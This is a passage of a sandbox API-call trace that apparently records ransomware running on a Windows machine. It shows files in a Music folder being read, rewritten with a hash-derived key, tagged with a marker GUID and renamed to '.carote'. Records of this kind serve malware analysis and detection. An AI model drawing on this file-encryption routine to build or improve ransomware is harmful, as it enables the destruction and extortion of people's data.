RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.326] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.326] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.326] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecc60) returned 1 [0112.327] CryptCreateHash (in: hProv=0x50ecc60, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.327] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.327] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.327] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.327] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.327] GetLastError () returned 0x0 [0112.327] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.327] CryptReleaseContext (hProv=0x50ecc60, dwFlags=0x0) returned 1 [0112.327] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.327] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x6a80) returned 0x7b182e0 [0112.327] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.327] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.327] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x6a73, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x6a73, lpOverlapped=0x0) returned 1 [0112.327] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.327] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x6a78, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.327] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.327] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.327] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.327] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.327] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.327] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.327] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.328] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.328] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.328] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.328] CloseHandle (hObject=0x61c) returned 1 [0112.328] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecc60 [0112.328] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x890) returned 0x7b182e0 [0112.328] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecc60 | out: hHeap=0x5010000) returned 1 [0112.328] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\RrxvmDKYTi0rBAg7jbyD.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rrxvmdkyti0rbag7jbyd.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\RrxvmDKYTi0rBAg7jbyD.m4a.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rrxvmdkyti0rbag7jbyd.m4a.carote")) returned 1 [0112.329] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.329] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.330] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecf90 | out: hHeap=0x5010000) returned 1 [0112.330] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf63b9900, ftCreationTime.dwHighDateTime=0x1d4c94e, ftLastAccessTime.dwLowDateTime=0x81e58820, ftLastAccessTime.dwHighDateTime=0x1d4cf4a, ftLastWriteTime.dwLowDateTime=0x81e58820, ftLastWriteTime.dwHighDateTime=0x1d4cf4a, nFileSizeHigh=0x0, nFileSizeLow=0x1404a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Rt7LMOP_q.m4a", cAlternateFileName="RT7LMO~1.M4A")) returned 1 [0112.330] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.330] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x76) returned 0x50fb750 [0112.330] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.330] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Rt7LMOP_q.m4a") returned=".m4a" [0112.330] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Rt7LMOP_q.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rt7lmop_q.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.330] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=81994) returned 1 [0112.330] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.332] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x14024, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.332] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.333] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.333] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.333] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.333] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x1404a, lpOverlapped=0x0) returned 1 [0112.334] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.334] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.334] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.334] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.334] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.335] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.335] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.335] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.335] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.335] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.335] GetLastError () returned 0x0 [0112.335] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.335] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.335] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.335] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x14050) returned 0x7b182e0 [0112.336] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.336] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.336] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x14045, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x14045, lpOverlapped=0x0) returned 1 [0112.336] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.336] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1404a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.336] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.336] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.336] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.336] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.336] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.336] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.337] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.337] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.337] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.337] CloseHandle (hObject=0x61c) returned 1 [0112.338] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.338] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x880) returned 0x7b182e0 [0112.338] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.338] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Rt7LMOP_q.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rt7lmop_q.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Rt7LMOP_q.m4a.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rt7lmop_q.m4a.carote")) returned 1 [0112.338] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.338] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.339] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50fb750 | out: hHeap=0x5010000) returned 1 [0112.339] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa87707d0, ftCreationTime.dwHighDateTime=0x1d4d575, ftLastAccessTime.dwLowDateTime=0x6f4f5f80, ftLastAccessTime.dwHighDateTime=0x1d4c926, ftLastWriteTime.dwLowDateTime=0x6f4f5f80, ftLastWriteTime.dwHighDateTime=0x1d4c926, nFileSizeHigh=0x0, nFileSizeLow=0xce43, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UK6oB.m4a", cAlternateFileName="")) returned 1 [0112.339] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.339] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x76) returned 0x50fb750 [0112.339] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.339] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UK6oB.m4a") returned=".m4a" [0112.339] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UK6oB.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uk6ob.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.340] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=52803) returned 1 [0112.340] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.342] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xce1d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.342] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.343] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0112.343] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0112.343] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.343] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xce43, lpOverlapped=0x0) returned 1 [0112.344] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.344] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.344] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.344] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.344] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.345] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.345] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.345] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.345] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.345] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.345] GetLastError () returned 0x0 [0112.345] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.345] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.345] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.345] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xce40) returned 0x7b182e0 [0112.345] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.346] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.346] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0xce3e, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0xce3e, lpOverlapped=0x0) returned 1 [0112.346] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.346] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xce43, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.346] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.346] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.346] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.346] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.346] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.346] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.346] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.346] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.346] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.346] CloseHandle (hObject=0x61c) returned 1 [0112.347] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.347] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x870) returned 0x7b182e0 [0112.347] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.347] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UK6oB.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uk6ob.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UK6oB.m4a.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uk6ob.m4a.carote")) returned 1 [0112.349] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.349] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.350] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50fb750 | out: hHeap=0x5010000) returned 1 [0112.350] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x875d3000, ftCreationTime.dwHighDateTime=0x1d4cdab, ftLastAccessTime.dwLowDateTime=0x4d85a300, ftLastAccessTime.dwHighDateTime=0x1d4cfde, ftLastWriteTime.dwLowDateTime=0x4d85a300, ftLastWriteTime.dwHighDateTime=0x1d4cfde, nFileSizeHigh=0x0, nFileSizeLow=0x129a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Xcrmc4FZ.m4a", cAlternateFileName="")) returned 1 [0112.350] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.350] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x76) returned 0x50fb750 [0112.350] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.350] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Xcrmc4FZ.m4a") returned=".m4a" [0112.350] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Xcrmc4FZ.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\xcrmc4fz.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.351] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=76192) returned 1 [0112.351] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.353] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1297a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.353] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.354] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.354] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.354] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.354] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x129a0, lpOverlapped=0x0) returned 1 [0112.355] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.355] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.355] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.355] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.355] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.356] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.356] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.356] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.356] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.356] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.356] GetLastError () returned 0x0 [0112.356] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.356] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.356] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.356] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x129a0) returned 0x7b182e0 [0112.356] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.356] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.356] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x1299b, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x1299b, lpOverlapped=0x0) returned 1 [0112.357] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.357] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x129a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.357] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.357] RtlAllocateHeap 